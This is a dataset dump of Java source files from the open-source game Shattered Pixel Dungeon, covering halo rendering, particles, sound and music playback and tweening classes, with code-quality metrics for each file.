"qsc_codejava_cate_var_zero": 1, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/Halo.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa; import com.badlogic.gdx.graphics.Pixmap; import com.badlogic.gdx.graphics.Texture; import com.watabou.gltextures.SmartTexture; import com.watabou.gltextures.TextureCache; public class Halo extends Image { private static final Object CACHE_KEY = Halo.class; protected static final int RADIUS = 64; protected float radius = RADIUS; protected float brightness = 1; public Halo() { super(); if (!TextureCache.contains( CACHE_KEY )) { Pixmap pixmap = new Pixmap(RADIUS * 2, RADIUS * 2, Pixmap.Format.RGBA8888); pixmap.setColor( 0xFFFFFF0A ); for (int i = 0; i < 50; i++) { pixmap.fillCircle(RADIUS, RADIUS, (int)(RADIUS * (i+1)/50f)); } TextureCache.add( CACHE_KEY, new SmartTexture( pixmap ) ); } texture( CACHE_KEY ); } public Halo( float radius, int color, float brightness ) { this(); hardlight( color ); alpha( this.brightness = brightness ); radius( radius ); } public Halo point( float x, float y ) { this.x = x - (width()/2f); this.y = y - (height()/2f); return this; } public void radius( float value ) { scale.set( (this.radius = value) / RADIUS ); } }
1,950
Halo
java
en
java
code
{"qsc_code_num_words": 269, "qsc_code_num_chars": 1950.0, "qsc_code_mean_word_length": 5.0260223, "qsc_code_frac_words_unique": 0.50557621, "qsc_code_frac_chars_top_2grams": 0.02662722, "qsc_code_frac_chars_top_3grams": 0.02884615, "qsc_code_frac_chars_top_4grams": 0.04215976, "qsc_code_frac_chars_dupe_5grams": 0.10207101, "qsc_code_frac_chars_dupe_6grams": 0.04142012, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02309173, "qsc_code_frac_chars_whitespace": 0.20051282, "qsc_code_size_file_byte": 1950.0, "qsc_code_num_lines": 70.0, "qsc_code_num_chars_line_max": 79.0, "qsc_code_num_chars_line_mean": 27.85714286, "qsc_code_frac_chars_alphabet": 0.84413085, "qsc_code_frac_chars_comments": 0.40051282, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00855432, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.05405405, "qsc_codejava_score_lines_no_logic": 0.21621622, "qsc_codejava_frac_words_no_modifier": 0.66666667, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/particles/PixelParticle.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.particles; import com.watabou.noosa.Game; import com.watabou.noosa.PseudoPixel; public class PixelParticle extends PseudoPixel { protected float size; protected float lifespan; protected float left; public PixelParticle() { super(); origin.set( +0.5f ); } public void reset( float x, float y, int color, float size, float lifespan ) { revive(); this.x = x; this.y = y; color( color ); size( this.size = size ); this.left = this.lifespan = lifespan; } @Override public void update() { super.update(); if ((left -= Game.elapsed) <= 0) { kill(); } } public static class Shrinking extends PixelParticle { @Override public void update() { super.update(); size( size * left / lifespan ); } } }
1,573
PixelParticle
java
en
java
code
{"qsc_code_num_words": 216, "qsc_code_num_chars": 1573.0, "qsc_code_mean_word_length": 5.03240741, "qsc_code_frac_words_unique": 0.51851852, "qsc_code_frac_chars_top_2grams": 0.03035879, "qsc_code_frac_chars_top_3grams": 0.03587856, "qsc_code_frac_chars_top_4grams": 0.0524379, "qsc_code_frac_chars_dupe_5grams": 0.13983441, "qsc_code_frac_chars_dupe_6grams": 0.11591536, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01618123, "qsc_code_frac_chars_whitespace": 0.21424031, "qsc_code_size_file_byte": 1573.0, "qsc_code_num_lines": 68.0, "qsc_code_num_chars_line_max": 80.0, "qsc_code_num_chars_line_mean": 23.13235294, "qsc_code_frac_chars_alphabet": 0.86326861, "qsc_code_frac_chars_comments": 0.4965035, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.17647059, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.08823529, "qsc_codejava_score_lines_no_logic": 0.26470588, "qsc_codejava_frac_words_no_modifier": 0.75, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/audio/Sample.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.audio; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.audio.Sound; import java.util.HashMap; public enum Sample { INSTANCE; protected HashMap<Object, Sound> ids = new HashMap<>(); private boolean enabled = true; private float volume = 1f; public void reset() { for (Sound sound : ids.values()) { sound.dispose(); } ids.clear(); } public void pause() { for (Sound sound : ids.values()) { sound.pause(); } } public void resume() { for (Sound sound : ids.values()) { sound.resume(); } } public void load( String... assets ) { for (int i=0; i < assets.length; i++) { String asset = assets[i]; if (!ids.containsKey( asset )) { ids.put(asset, Gdx.audio.newSound(Gdx.files.internal(asset))); } } } public void unload( Object src ) { if (ids.containsKey( src )) { ids.get( src ).dispose(); ids.remove( src ); } } public long play(Object id) { return play( id, 1, 1, 1 ); } public long play(Object id, float volume) { return play( id, volume, volume, 1 ); } public long play(Object id, float leftVolume, float rightVolume, float rate) { if (enabled && ids.containsKey( id )) { Sound sound = ids.get(id); //TODO: properly implement audio panning here if I ever need it. return sound.play(leftVolume*volume, rate, 0); } else { return -1; } } public void enable( boolean value ) { enabled = value; } public boolean isEnabled() { return enabled; } public void volume( float value ) { this.volume = value; } }
2,363
Sample
java
en
java
code
{"qsc_code_num_words": 325, "qsc_code_num_chars": 2363.0, "qsc_code_mean_word_length": 4.79692308, "qsc_code_frac_words_unique": 0.45230769, "qsc_code_frac_chars_top_2grams": 0.04490058, "qsc_code_frac_chars_top_3grams": 0.03335471, "qsc_code_frac_chars_top_4grams": 0.0365619, "qsc_code_frac_chars_dupe_5grams": 0.15458627, "qsc_code_frac_chars_dupe_6grams": 0.12379731, "qsc_code_frac_chars_dupe_7grams": 0.03592046, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01363884, "qsc_code_frac_chars_whitespace": 0.22429116, "qsc_code_size_file_byte": 2363.0, "qsc_code_num_lines": 109.0, "qsc_code_num_chars_line_max": 80.0, "qsc_code_num_chars_line_mean": 21.67889908, "qsc_code_frac_chars_alphabet": 0.83687943, "qsc_code_frac_chars_comments": 0.35759628, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.04761905, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00917431, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.20634921, "qsc_codejava_score_lines_no_logic": 0.26984127, "qsc_codejava_frac_words_no_modifier": 0.84615385, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": null, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/audio/Music.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.audio; import com.badlogic.gdx.Gdx; import com.watabou.noosa.Game; public enum Music { INSTANCE; private com.badlogic.gdx.audio.Music player; private String lastPlayed; private boolean lastLooping; private boolean enabled = true; private float volume = 1f; public synchronized void play( String assetName, boolean looping ) { if (isPlaying() && lastPlayed.equals( assetName )) { return; } stop(); lastPlayed = assetName; lastLooping = looping; if (!enabled || assetName == null) { return; } try { player = Gdx.audio.newMusic(Gdx.files.internal(assetName)); player.setLooping(looping); player.setVolume(volume); player.play(); } catch (Exception e){ Game.reportException(e); player = null; } } public synchronized void mute() { lastPlayed = null; stop(); } public synchronized void pause() { if (player != null) { player.pause(); } } public synchronized void resume() { if (player != null) { player.play(); } } public synchronized void stop() { if (player != null) { player.stop(); player.dispose(); player = null; } } public synchronized void volume( float value ) { volume = value; if (player != null) { player.setVolume( value ); } } public synchronized boolean isPlaying() { return player != null && player.isPlaying(); } public synchronized void enable( boolean value ) { enabled = value; if (isPlaying() && !value) { stop(); } else if (!isPlaying() && value) { play( lastPlayed, lastLooping ); } } public synchronized boolean isEnabled() { return enabled; } }
2,444
Music
java
en
java
code
{"qsc_code_num_words": 296, "qsc_code_num_chars": 2444.0, "qsc_code_mean_word_length": 5.55405405, "qsc_code_frac_words_unique": 0.43581081, "qsc_code_frac_chars_top_2grams": 0.09854015, "qsc_code_frac_chars_top_3grams": 0.09367397, "qsc_code_frac_chars_top_4grams": 0.04379562, "qsc_code_frac_chars_dupe_5grams": 0.08880779, "qsc_code_frac_chars_dupe_6grams": 0.03406326, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00942902, "qsc_code_frac_chars_whitespace": 0.21890344, "qsc_code_size_file_byte": 2444.0, "qsc_code_num_lines": 114.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 21.43859649, "qsc_code_frac_chars_alphabet": 0.85175485, "qsc_code_frac_chars_comments": 0.3195581, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.17808219, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.0, "qsc_codejava_score_lines_no_logic": 0.09589041, "qsc_codejava_frac_words_no_modifier": null, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": null, "qsc_codejava_frac_words_legal_class_name": null, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/tweeners/PosTweener.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.tweeners; import com.watabou.noosa.Visual; import com.watabou.utils.PointF; public class PosTweener extends Tweener { public Visual visual; public PointF start; public PointF end; public PosTweener( Visual visual, PointF pos, float time ) { super( visual, time ); this.visual = visual; start = visual.point(); end = pos; } @Override protected void updateValues( float progress ) { visual.point( PointF.inter( start, end, progress ) ); } }
1,277
PosTweener
java
en
java
code
{"qsc_code_num_words": 182, "qsc_code_num_chars": 1277.0, "qsc_code_mean_word_length": 5.0989011, "qsc_code_frac_words_unique": 0.57142857, "qsc_code_frac_chars_top_2grams": 0.03556034, "qsc_code_frac_chars_top_3grams": 0.04202586, "qsc_code_frac_chars_top_4grams": 0.06142241, "qsc_code_frac_chars_dupe_5grams": 0.08836207, "qsc_code_frac_chars_dupe_6grams": 0.06034483, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01652089, "qsc_code_frac_chars_whitespace": 0.19420517, "qsc_code_size_file_byte": 1277.0, "qsc_code_num_lines": 46.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 27.76086957, "qsc_code_frac_chars_alphabet": 0.88532556, "qsc_code_frac_chars_comments": 0.61158966, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.05555556, "qsc_codejava_score_lines_no_logic": 0.38888889, "qsc_codejava_frac_words_no_modifier": 0.5, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/tweeners/AlphaTweener.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.tweeners; import com.watabou.noosa.Visual; public class AlphaTweener extends Tweener { public Visual image; public float start; public float delta; public AlphaTweener( Visual image, float alpha, float time ) { super( image, time ); this.image = image; start = image.alpha(); delta = alpha - start; } @Override protected void updateValues( float progress ) { image.alpha( start + delta * progress ); } }
1,242
AlphaTweener
java
en
java
code
{"qsc_code_num_words": 176, "qsc_code_num_chars": 1242.0, "qsc_code_mean_word_length": 5.10795455, "qsc_code_frac_words_unique": 0.57386364, "qsc_code_frac_chars_top_2grams": 0.03670745, "qsc_code_frac_chars_top_3grams": 0.04338154, "qsc_code_frac_chars_top_4grams": 0.06340378, "qsc_code_frac_chars_dupe_5grams": 0.09121246, "qsc_code_frac_chars_dupe_6grams": 0.06229143, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01710262, "qsc_code_frac_chars_whitespace": 0.19967794, "qsc_code_size_file_byte": 1242.0, "qsc_code_num_lines": 45.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 27.6, "qsc_code_frac_chars_alphabet": 0.88732394, "qsc_code_frac_chars_comments": 0.62882448, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.05882353, "qsc_codejava_score_lines_no_logic": 0.35294118, "qsc_codejava_frac_words_no_modifier": 0.5, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/noosa/tweeners/Delayer.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.noosa.tweeners; public class Delayer extends Tweener { public Delayer() { super( null, 0 ); } public Delayer( float time ) { super( null, time ); } @Override protected void updateValues( float progress ) { } }
1,030
Delayer
java
en
java
code
